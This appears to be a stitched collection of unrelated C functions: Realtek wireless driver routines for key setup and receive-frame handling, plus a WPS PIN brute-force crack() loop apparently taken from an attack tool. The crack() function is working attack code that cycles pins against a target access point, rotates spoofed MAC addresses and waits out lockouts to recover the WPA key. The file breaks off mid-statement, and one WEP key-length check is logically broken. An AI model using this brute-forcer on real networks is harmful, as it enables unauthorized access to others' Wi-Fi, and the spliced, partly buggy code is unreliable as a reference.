u8 rtw_set_802_11_add_key(_adapter* padapter, NDIS_802_11_KEY *key){ uint encryptionalgo; u8 * pbssid; struct sta_info *stainfo; u8 bgroup = _FALSE; u8 bgrouptkey = _FALSE;//can be remove later u8 ret=_SUCCESS; _func_enter_; if (((key->KeyIndex & 0x80000000) == 0) && ((key->KeyIndex & 0x40000000) > 0)){ // It is invalid to clear bit 31 and set bit 30. If the miniport driver encounters this combination, // it must fail the request and return NDIS_STATUS_INVALID_DATA. RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_info_,("rtw_set_802_11_add_key: ((key->KeyIndex & 0x80000000) == 0)[=%d] ",(int)(key->KeyIndex & 0x80000000) == 0)); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_info_,("rtw_set_802_11_add_key:((key->KeyIndex & 0x40000000) > 0)[=%d]" , (int)(key->KeyIndex & 0x40000000) > 0)); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_info_,("rtw_set_802_11_add_key: key->KeyIndex=%d \n" ,(int)key->KeyIndex)); ret= _FAIL; goto exit; } if(key->KeyIndex & 0x40000000) { // Pairwise key RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("OID_802_11_ADD_KEY: +++++ Pairwise key +++++\n")); pbssid=get_bssid(&padapter->mlmepriv); stainfo=rtw_get_stainfo(&padapter->stapriv, pbssid); if((stainfo!=NULL)&&(padapter->securitypriv.dot11AuthAlgrthm==dot11AuthAlgrthm_8021X)){ RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("OID_802_11_ADD_KEY:( stainfo!=NULL)&&(Adapter->securitypriv.dot11AuthAlgrthm==dot11AuthAlgrthm_8021X)\n")); encryptionalgo=stainfo->dot118021XPrivacy; } else{ RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("OID_802_11_ADD_KEY: stainfo==NULL)||(Adapter->securitypriv.dot11AuthAlgrthm!=dot11AuthAlgrthm_8021X)\n")); encryptionalgo=padapter->securitypriv.dot11PrivacyAlgrthm; } RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("rtw_set_802_11_add_key: (encryptionalgo ==%d)!\n",encryptionalgo )); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("rtw_set_802_11_add_key: (Adapter->securitypriv.dot11PrivacyAlgrthm ==%d)!\n",padapter->securitypriv.dot11PrivacyAlgrthm)); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("rtw_set_802_11_add_key: (Adapter->securitypriv.dot11AuthAlgrthm ==%d)!\n",padapter->securitypriv.dot11AuthAlgrthm)); if((stainfo!=NULL)){ RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("rtw_set_802_11_add_key: (stainfo->dot118021XPrivacy ==%d)!\n", stainfo->dot118021XPrivacy)); } if(key->KeyIndex & 0x000000FF){ // The key index is specified in the lower 8 bits by values of zero to 255. // The key index should be set to zero for a Pairwise key, and the driver should fail with // NDIS_STATUS_INVALID_DATA if the lower 8 bits is not zero RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,(" key->KeyIndex & 0x000000FF.\n")); ret= _FAIL; goto exit; } // check BSSID if (IS_MAC_ADDRESS_BROADCAST(key->BSSID) == _TRUE){ RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("MacAddr_isBcst(key->BSSID)\n")); ret= _FALSE; goto exit; } // Check key length for TKIP. //if(encryptionAlgorithm == RT_ENC_TKIP_ENCRYPTION && key->KeyLength != 32) if((encryptionalgo== _TKIP_)&& (key->KeyLength != 32)){ RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("TKIP KeyLength:0x%x != 32\n", key->KeyLength)); ret=_FAIL; goto exit; } // Check key length for AES. if((encryptionalgo== _AES_)&& (key->KeyLength != 16)) { // For our supplicant, EAPPkt9x.vxd, cannot differentiate TKIP and AES case. if(key->KeyLength == 32) { key->KeyLength = 16; } else { ret= _FAIL; goto exit; } } // Check key length for WEP. For NDTEST, 2005.01.27, by rcnjko. if( (encryptionalgo== _WEP40_|| encryptionalgo== _WEP104_) && (key->KeyLength != 5 || key->KeyLength != 13)) { RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("WEP KeyLength:0x%x != 5 or 13\n", key->KeyLength)); ret=_FAIL; goto exit; } bgroup = _FALSE; // Check the pairwise key. Added by Annie, 2005-07-06. RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("------------------------------------------\n")); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("[Pairwise Key set]\n")); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("------------------------------------------\n")); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("key index: 0x%8x(0x%8x)\n", key->KeyIndex,(key->KeyIndex&0x3))); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("key Length: %d\n", key->KeyLength)); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("------------------------------------------\n")); } else { // Group key - KeyIndex(BIT30==0) RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("OID_802_11_ADD_KEY: +++++ Group key +++++\n")); // when add wep key through add key and didn't assigned encryption type before if((padapter->securitypriv.ndisauthtype<=3)&&(padapter->securitypriv.dot118021XGrpPrivacy==0)) { RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("keylen=%d( Adapter->securitypriv.dot11PrivacyAlgrthm=%x )padapter->securitypriv.dot118021XGrpPrivacy(%x)\n", key->KeyLength,padapter->securitypriv.dot11PrivacyAlgrthm,padapter->securitypriv.dot118021XGrpPrivacy)); switch(key->KeyLength) { case 5: padapter->securitypriv.dot11PrivacyAlgrthm=_WEP40_; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("Adapter->securitypriv.dot11PrivacyAlgrthm= %x key->KeyLength=%u\n", padapter->securitypriv.dot11PrivacyAlgrthm,key->KeyLength)); break; case 13: padapter->securitypriv.dot11PrivacyAlgrthm=_WEP104_; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("Adapter->securitypriv.dot11PrivacyAlgrthm= %x key->KeyLength=%u\n", padapter->securitypriv.dot11PrivacyAlgrthm,key->KeyLength)); break; default: padapter->securitypriv.dot11PrivacyAlgrthm=_NO_PRIVACY_; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("Adapter->securitypriv.dot11PrivacyAlgrthm= %x key->KeyLength=%u \n", padapter->securitypriv.dot11PrivacyAlgrthm,key->KeyLength)); break; } encryptionalgo=padapter->securitypriv.dot11PrivacyAlgrthm; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,(" Adapter->securitypriv.dot11PrivacyAlgrthm=%x\n", padapter->securitypriv.dot11PrivacyAlgrthm)); } else { encryptionalgo=padapter->securitypriv.dot118021XGrpPrivacy; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("( Adapter->securitypriv.dot11PrivacyAlgrthm=%x )encryptionalgo(%x)=padapter->securitypriv.dot118021XGrpPrivacy(%x)keylen=%d\n", padapter->securitypriv.dot11PrivacyAlgrthm,encryptionalgo,padapter->securitypriv.dot118021XGrpPrivacy,key->KeyLength)); } if((check_fwstate(&padapter->mlmepriv, WIFI_ADHOC_STATE)==_TRUE) && (IS_MAC_ADDRESS_BROADCAST(key->BSSID) == _FALSE)) { RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,(" IBSS but BSSID is not Broadcast Address.\n")); ret= _FAIL; goto exit; } // Check key length for TKIP if((encryptionalgo== _TKIP_) && (key->KeyLength != 32)) { RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,(" TKIP GTK KeyLength:%u != 32\n", key->KeyLength)); ret= _FAIL; goto exit; } else if(encryptionalgo== _AES_ && (key->KeyLength != 16 && key->KeyLength != 32) ) { // Check key length for AES // For NDTEST, we allow keylen=32 in this case. 2005.01.27, by rcnjko. RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("<=== SetInfo, OID_802_11_ADD_KEY: AES GTK KeyLength:%u != 16 or 32\n", key->KeyLength)); ret= _FAIL; goto exit; } // Change the key length for EAPPkt9x.vxd. Added by Annie, 2005-11-03. if((encryptionalgo== _AES_) && (key->KeyLength == 32) ) { key->KeyLength = 16; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("AES key length changed: %u\n", key->KeyLength) ); } if(key->KeyIndex & 0x8000000) {//error ??? 0x8000_0000 bgrouptkey = _TRUE; } if((check_fwstate(&padapter->mlmepriv, WIFI_ADHOC_STATE)==_TRUE)&&(check_fwstate(&padapter->mlmepriv, _FW_LINKED)==_TRUE)) { bgrouptkey = _TRUE; } bgroup = _TRUE; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("------------------------------------------\n") ); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("[Group Key set]\n") ); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("------------------------------------------\n")) ; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("key index: 0x%8x(0x%8x)\n", key->KeyIndex,(key->KeyIndex&0x3))); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("key Length: %d\n", key->KeyLength)) ; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("------------------------------------------\n")); } // If WEP encryption algorithm, just call rtw_set_802_11_add_wep(). if((padapter->securitypriv.dot11AuthAlgrthm !=dot11AuthAlgrthm_8021X)&&(encryptionalgo== _WEP40_ || encryptionalgo== _WEP104_)) { u8 ret; u32 keyindex; u32 len = FIELD_OFFSET(NDIS_802_11_KEY, KeyMaterial) + key->KeyLength; NDIS_802_11_WEP *wep = &padapter->securitypriv.ndiswep; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("OID_802_11_ADD_KEY: +++++ WEP key +++++\n")); wep->Length = len; keyindex = key->KeyIndex&0x7fffffff; wep->KeyIndex = keyindex ; wep->KeyLength = key->KeyLength; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("OID_802_11_ADD_KEY:Before memcpy \n")); _rtw_memcpy(wep->KeyMaterial, key->KeyMaterial, key->KeyLength); _rtw_memcpy(&(padapter->securitypriv.dot11DefKey[keyindex].skey[0]), key->KeyMaterial, key->KeyLength); padapter->securitypriv.dot11DefKeylen[keyindex]=key->KeyLength; padapter->securitypriv.dot11PrivacyKeyIndex=keyindex; ret = rtw_set_802_11_add_wep(padapter, wep); goto exit; } if(key->KeyIndex & 0x20000000){ // SetRSC RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("OID_802_11_ADD_KEY: +++++ SetRSC+++++\n")); if(bgroup == _TRUE) { NDIS_802_11_KEY_RSC keysrc=key->KeyRSC & 0x00FFFFFFFFFFFFULL; _rtw_memcpy(&padapter->securitypriv.dot11Grprxpn, &keysrc, 8); } else { NDIS_802_11_KEY_RSC keysrc=key->KeyRSC & 0x00FFFFFFFFFFFFULL; _rtw_memcpy(&padapter->securitypriv.dot11Grptxpn, &keysrc, 8); } } // Indicate this key idx is used for TX // Save the key in KeyMaterial if(bgroup == _TRUE) // Group transmit key { int res; if(bgrouptkey == _TRUE) { padapter->securitypriv.dot118021XGrpKeyid=(u8)key->KeyIndex; } if((key->KeyIndex&0x3) == 0){ ret = _FAIL; goto exit; } _rtw_memset(&padapter->securitypriv.dot118021XGrpKey[(u8)((key->KeyIndex) & 0x03)], 0, 16); _rtw_memset(&padapter->securitypriv.dot118021XGrptxmickey[(u8)((key->KeyIndex) & 0x03)], 0, 16); _rtw_memset(&padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)], 0, 16); if((key->KeyIndex & 0x10000000)) { _rtw_memcpy(&padapter->securitypriv.dot118021XGrptxmickey[(u8)((key->KeyIndex) & 0x03)], key->KeyMaterial + 16, 8); _rtw_memcpy(&padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)], key->KeyMaterial + 24, 8); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("\n rtw_set_802_11_add_key:rx mic :0x%02x:0x%02x:0x%02x:0x%02x:0x%02x:0x%02x:0x%02x:0x%02x\n", padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)].skey[0],padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex-1) & 0x03)].skey[1], padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)].skey[2],padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex-1) & 0x03)].skey[3], padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)].skey[4],padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex-1) & 0x03)].skey[5], padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)].skey[6],padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex-1) & 0x03)].skey[7])); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("\n rtw_set_802_11_add_key:set Group mic key!!!!!!!!\n")); } else { _rtw_memcpy(&padapter->securitypriv.dot118021XGrptxmickey[(u8)((key->KeyIndex) & 0x03)], key->KeyMaterial + 24, 8); _rtw_memcpy(&padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)], key->KeyMaterial + 16, 8); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("\n rtw_set_802_11_add_key:rx mic :0x%02x:0x%02x:0x%02x:0x%02x:0x%02x:0x%02x:0x%02x:0x%02x\n", padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)].skey[0],padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex-1) & 0x03)].skey[1], padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)].skey[2],padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex-1) & 0x03)].skey[3], padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)].skey[4],padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex-1) & 0x03)].skey[5], padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex) & 0x03)].skey[6],padapter->securitypriv.dot118021XGrprxmickey[(u8)((key->KeyIndex-1) & 0x03)].skey[7])); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("\n rtw_set_802_11_add_key:set Group mic key!!!!!!!!\n")); } //set group key by index _rtw_memcpy(&padapter->securitypriv.dot118021XGrpKey[(u8)((key->KeyIndex) & 0x03)], key->KeyMaterial, key->KeyLength); key->KeyIndex=key->KeyIndex & 0x03; padapter->securitypriv.binstallGrpkey=_TRUE; padapter->securitypriv.bcheck_grpkey=_FALSE; RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("reset group key")); res=rtw_set_key(padapter,&padapter->securitypriv, key->KeyIndex, 1); if(res==_FAIL) ret= _FAIL; goto exit; } else // Pairwise Key { u8 res; pbssid=get_bssid(&padapter->mlmepriv); stainfo=rtw_get_stainfo(&padapter->stapriv , pbssid ); if(stainfo!=NULL) { _rtw_memset( &stainfo->dot118021x_UncstKey, 0, 16);// clear keybuffer _rtw_memcpy(&stainfo->dot118021x_UncstKey, key->KeyMaterial, 16); if(encryptionalgo== _TKIP_) { padapter->securitypriv.busetkipkey=_FALSE; //_set_timer(&padapter->securitypriv.tkip_timer, 50); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("\n ==========_set_timer\n")); // if TKIP, save the Receive/Transmit MIC key in KeyMaterial[128-255] if((key->KeyIndex & 0x10000000)){ _rtw_memcpy(&stainfo->dot11tkiptxmickey, key->KeyMaterial + 16, 8); _rtw_memcpy(&stainfo->dot11tkiprxmickey, key->KeyMaterial + 24, 8); } else { _rtw_memcpy(&stainfo->dot11tkiptxmickey, key->KeyMaterial + 24, 8); _rtw_memcpy(&stainfo->dot11tkiprxmickey, key->KeyMaterial + 16, 8); } } else if(encryptionalgo == _AES_) { } //Set key to CAM through H2C command if(bgrouptkey)//never go to here { res=rtw_setstakey_cmd(padapter, (unsigned char *)stainfo, _FALSE); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("\n rtw_set_802_11_add_key:rtw_setstakey_cmd(group)\n")); } else{ res=rtw_setstakey_cmd(padapter, (unsigned char *)stainfo, _TRUE); RT_TRACE(_module_rtl871x_ioctl_set_c_,_drv_err_,("\n rtw_set_802_11_add_key:rtw_setstakey_cmd(unicast)\n")); } if(res ==_FALSE) ret= _FAIL; } } exit: _func_exit_; return ret; }
/* Brute force all possible WPS pins for a given access point */ void crack() { unsigned char *bssid = NULL; char *pin = NULL; int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0; float pin_count = 0; time_t start_time = 0; enum wps_result result = 0; /* MAC CHANGER VARIABLES */ int mac_changer_counter = 0; char mac[MAC_ADDR_LEN] = { 0 }; unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ"; unsigned char* new_mac = &mac_string[0]; char last_digit = '0'; if(!get_iface()) { return; } if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* Initialize network interface */ set_handle(capture_init(get_iface())); if(get_handle() != NULL) { generate_pins(); /* Restore any previously saved session */ if(get_static_p1() == NULL) { restore_session(); } /* Convert BSSID to a string */ bssid = mac2str(get_bssid(), ':'); /* * We need to get some basic info from the AP, and also want to make sure the target AP * actually exists, so wait for a beacon packet */ cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid); read_ap_beacon(); process_auto_options(); /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */ if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* This initial association is just to make sure we can successfully associate */ while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); /* Used to calculate pin attempt rates */ start_time = time(NULL); /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */ if(get_key_status() <= KEY1_WIP) { set_key_status(KEY1_WIP); } /* * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked. * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop. */ else if(get_key_status() == KEY_DONE) { set_key_status(KEY2_WIP); } //copy the current mac to the new_mac variable for mac changer if (get_mac_changer() == 1) { strncpy(new_mac, mac2str(get_mac(), ':'), 16); } /* Main cracking loop */ for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++) { //MAC Changer switch/case to define the last mac address digit if (get_mac_changer() == 1) { switch (mac_changer_counter) { case 0: last_digit = '0'; break; case 1: last_digit = '1'; break; case 2: last_digit = '2'; break; case 3: last_digit = '3'; break; case 4: last_digit = '4'; break; case 5: last_digit = '5'; break; case 6: last_digit = '6'; break; case 7: last_digit = '7'; break; case 8: last_digit = '8'; break; case 9: last_digit = '9'; break; case 10: last_digit = 'A'; break; case 11: last_digit = 'B'; break; case 12: last_digit = 'C'; break; case 13: last_digit = 'D'; break; case 14: last_digit = 'E'; break; case 15: last_digit = 'F'; mac_changer_counter = -1; break; } mac_changer_counter++; new_mac[16] = last_digit; //transform the string to a MAC and define the MAC str2mac((unsigned char *) new_mac, (unsigned char *) &mac); set_mac((unsigned char *) &mac); cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':')); } /* * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS * registrar requests. Using a delay here can help prevent the AP from locking us out. */ pcap_sleep(get_delay()); /* Users may specify a delay after x number of attempts */ if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count())) { cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay()); pcap_sleep(get_recurring_delay()); sleep_count = 0; } /* * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes). * Verify that the AP is not locked before attempting the next pin. */ while(get_ignore_locks() == 0 && is_wps_locked()) { cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay()); pcap_sleep(get_lock_delay()); } /* Initialize wps structure */ set_wps(initialize_wps_data()); if(!get_wps()) { cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n"); break; } /* Try the next pin in the list */ pin = build_next_pin(); if(!pin) { cprintf(CRITICAL, "[-] Failed to generate the next payload\n"); break; } else { cprintf(WARNING, "[+] Trying pin %s\n", pin); } /* * Reassociate with the AP before each WPS exchange. This is necessary as some APs will * severely limit our pin attempt rate if we do not. */ assoc_fail_count = 0; while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } /* * Enter receive loop. This will block until a receive timeout occurs or a * WPS transaction has completed or failed. */ result = do_wps_exchange(); switch(result) { /* * If the last pin attempt was rejected, increment * the pin counter, clear the fail counter and move * on to the next pin. */ case KEY_REJECTED: fail_count = 0; pin_count++; advance_pin_count(); break; /* Got it!! */ case KEY_ACCEPTED: break; /* Unexpected timeout or EAP failure...try this pin again */ default: cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result); fail_count++; break; } /* If we've had an excessive number of message failures in a row, print a warning */ if(fail_count == WARN_FAILURE_COUNT) { cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count); fail_count = 0; pcap_sleep(get_fail_delay()); } /* Display status and save current session state every DISPLAY_PIN_COUNT loops */ if(loop_count == DISPLAY_PIN_COUNT) { save_session(); display_status(pin_count, start_time); loop_count = 0; } /* * The WPA key and other settings are stored in the globule->wps structure. If we've * recovered the WPS pin and parsed these settings, don't free this structure. It * will be freed by wpscrack_free() at the end of main(). */ if(get_key_status() != KEY_DONE) { wps_deinit(get_wps()); set_wps(NULL); } /* If we have cracked the pin, save a copy */ else { set_pin(pin); } free(pin); pin = NULL; /* If we've hit our max number of pin attempts, quit */ if((get_max_pin_attempts() > 0) && (pin_count == get_max_pin_attempts())) { cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts()); break; } } if(bssid) free(bssid); if(get_handle()) { pcap_close(get_handle()); set_handle(NULL); } } else { cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface()); } }
/* * Notice: * Before calling this function, * precvframe->u.hdr.rx_data should be ready! */ static void update_recvframe_phyinfo( union recv_frame *precvframe, struct phy_stat *pphy_status) { PADAPTER padapter = precvframe->u.hdr.adapter; struct rx_pkt_attrib *pattrib = &precvframe->u.hdr.attrib; HAL_DATA_TYPE *pHalData = GET_HAL_DATA(padapter); PODM_PHY_INFO_T pPHYInfo = (PODM_PHY_INFO_T)(&pattrib->phy_info); u8 *wlanhdr; ODM_PACKET_INFO_T pkt_info; u8 *sa =NULL; /* _irqL irqL; */ struct sta_priv *pstapriv; struct sta_info *psta; pkt_info.bPacketMatchBSSID =false; pkt_info.bPacketToSelf = false; pkt_info.bPacketBeacon = false; wlanhdr = get_recvframe_data(precvframe); pkt_info.bPacketMatchBSSID = ((!IsFrameTypeCtrl(wlanhdr)) && !pattrib->icv_err && !pattrib->crc_err && !memcmp(get_hdr_bssid(wlanhdr), get_bssid(&padapter->mlmepriv), ETH_ALEN)); pkt_info.bPacketToSelf = pkt_info.bPacketMatchBSSID && (!memcmp(get_ra(wlanhdr), myid(&padapter->eeprompriv), ETH_ALEN)); pkt_info.bPacketBeacon = pkt_info.bPacketMatchBSSID && (GetFrameSubType(wlanhdr) == WIFI_BEACON); sa = get_ta(wlanhdr); pkt_info.StationID = 0xFF; pstapriv = &padapter->stapriv; psta = rtw_get_stainfo(pstapriv, sa); if (psta) { pkt_info.StationID = psta->mac_id; /* DBG_8192C("%s ==> StationID(%d)\n", __FUNCTION__, pkt_info.StationID); */ } pkt_info.DataRate = pattrib->data_rate; /* rtl8723b_query_rx_phy_status(precvframe, pphy_status); */ /* spin_lock_bh(&pHalData->odm_stainfo_lock); */ ODM_PhyStatusQuery(&pHalData->odmpriv, pPHYInfo, (u8 *)pphy_status,&(pkt_info)); if (psta) psta->rssi = pattrib->phy_info.RecvSignalPower; /* spin_unlock_bh(&pHalData->odm_stainfo_lock); */ precvframe->u.hdr.psta = NULL; if (pkt_info.bPacketMatchBSSID && (check_fwstate(&padapter->mlmepriv, WIFI_AP_STATE) == true)) { if (psta) { precvframe->u.hdr.psta = psta; rtl8723b_process_phy_info(padapter, precvframe); } } else if (pkt_info.bPacketToSelf || pkt_info.bPacketBeacon) { if (check_fwstate(&padapter->mlmepriv, WIFI_ADHOC_STATE|WIFI_ADHOC_MASTER_STATE) == true) { if (psta) { precvframe->u.hdr.psta = psta; } } rtl8723b_process_phy_info(padapter, precvframe); } }
void update_recvframe_phyinfo(struct recv_frame *precvframe, struct phy_stat *pphy_status) { struct rtw_adapter *padapter = precvframe->adapter; struct rx_pkt_attrib *pattrib = &precvframe->attrib; struct hal_data_8723a *pHalData = GET_HAL_DATA(padapter); struct odm_phy_info *pPHYInfo = (struct odm_phy_info *)(&pattrib->phy_info); struct odm_packet_info pkt_info; u8 *sa = NULL, *da; struct sta_priv *pstapriv; struct sta_info *psta; struct sk_buff *skb = precvframe->pkt; struct ieee80211_hdr *hdr = (struct ieee80211_hdr *) skb->data; u8 *wlanhdr = skb->data; pkt_info.bPacketMatchBSSID = false; pkt_info.bPacketToSelf = false; pkt_info.bPacketBeacon = false; pkt_info.bPacketMatchBSSID = (!ieee80211_is_ctl(hdr->frame_control) && !pattrib->icv_err && !pattrib->crc_err && !memcmp(get_hdr_bssid(wlanhdr), get_bssid(&padapter->mlmepriv), ETH_ALEN)); da = ieee80211_get_DA(hdr); pkt_info.bPacketToSelf = pkt_info.bPacketMatchBSSID && (!memcmp(da, myid(&padapter->eeprompriv), ETH_ALEN)); pkt_info.bPacketBeacon = pkt_info.bPacketMatchBSSID && ieee80211_is_beacon(hdr->frame_control); pkt_info.StationID = 0xFF; if (pkt_info.bPacketBeacon) { if (check_fwstate(&padapter->mlmepriv, WIFI_STATION_STATE) == true) sa = padapter->mlmepriv.cur_network.network.MacAddress; /* to do Ad-hoc */ } else { sa = ieee80211_get_SA(hdr); } pstapriv = &padapter->stapriv; psta = rtw_get_stainfo23a(pstapriv, sa); if (psta) { pkt_info.StationID = psta->mac_id; /* printk("%s ==> StationID(%d)\n", __FUNCTION__, pkt_info.StationID); */ } pkt_info.Rate = pattrib->mcs_rate; ODM_PhyStatusQuery23a(&pHalData->odmpriv, pPHYInfo, (u8 *)pphy_status, &pkt_info); precvframe->psta = NULL; if (pkt_info.bPacketMatchBSSID && (check_fwstate(&padapter->mlmepriv, WIFI_AP_STATE) == true)) { if (psta) { precvframe->psta = psta; rtl8723a_process_phy_info(padapter, precvframe); } } else if (pkt_info.bPacketToSelf || pkt_info.bPacketBeacon) { if (check_fwstate(&padapter->mlmepriv, WIFI_ADHOC_STATE|WIFI_ADHOC_MASTER_STATE) == true) { if (psta) precvframe->psta = psta; } rtl8723a_process_phy_info(padapter, precvframe); } }
static s32 pre_recv_entry(union recv_frame *precvframe, struct recv_stat *prxstat, struct phy_stat *pphy_status) { s32 ret=_SUCCESS; #ifdef CONFIG_CONCURRENT_MODE u8 *primary_myid, *secondary_myid, *paddr1; union recv_frame *precvframe_if2 = NULL; _adapter *primary_padapter = precvframe->u.hdr.adapter; _adapter *secondary_padapter = primary_padapter->pbuddy_adapter; struct recv_priv *precvpriv = &primary_padapter->recvpriv; _queue *pfree_recv_queue = &precvpriv->free_recv_queue; u8 *pbuf = precvframe->u.hdr.rx_data; if(!secondary_padapter) return ret; paddr1 = GetAddr1Ptr(pbuf); if(IS_MCAST(paddr1) == _FALSE)//unicast packets { //primary_myid = myid(&primary_padapter->eeprompriv); secondary_myid = myid(&secondary_padapter->eeprompriv); if(_rtw_memcmp(paddr1, secondary_myid, ETH_ALEN)) { //change to secondary interface precvframe->u.hdr.adapter = secondary_padapter; } //ret = recv_entry(precvframe); } else // Handle BC/MC Packets { u8 clone = _TRUE; #if 0 u8 type, subtype, *paddr2, *paddr3; type = GetFrameType(pbuf); subtype = GetFrameSubType(pbuf); //bit(7)~bit(2) switch (type) { case WIFI_MGT_TYPE: //Handle BC/MC mgnt Packets if(subtype == WIFI_BEACON) { paddr3 = GetAddr3Ptr(precvframe->u.hdr.rx_data); if (check_fwstate(&secondary_padapter->mlmepriv, _FW_LINKED) && _rtw_memcmp(paddr3, get_bssid(&secondary_padapter->mlmepriv), ETH_ALEN)) { //change to secondary interface precvframe->u.hdr.adapter = secondary_padapter; clone = _FALSE; } if(check_fwstate(&primary_padapter->mlmepriv, _FW_LINKED) && _rtw_memcmp(paddr3, get_bssid(&primary_padapter->mlmepriv), ETH_ALEN)) { if(clone==_FALSE) { clone = _TRUE; } else { clone = _FALSE; } precvframe->u.hdr.adapter = primary_padapter; } if(check_fwstate(&primary_padapter->mlmepriv, _FW_UNDER_SURVEY|_FW_UNDER_LINKING) || check_fwstate(&secondary_padapter->mlmepriv, _FW_UNDER_SURVEY|_FW_UNDER_LINKING)) { clone = _TRUE; precvframe->u.hdr.adapter = primary_padapter; } } else if(subtype == 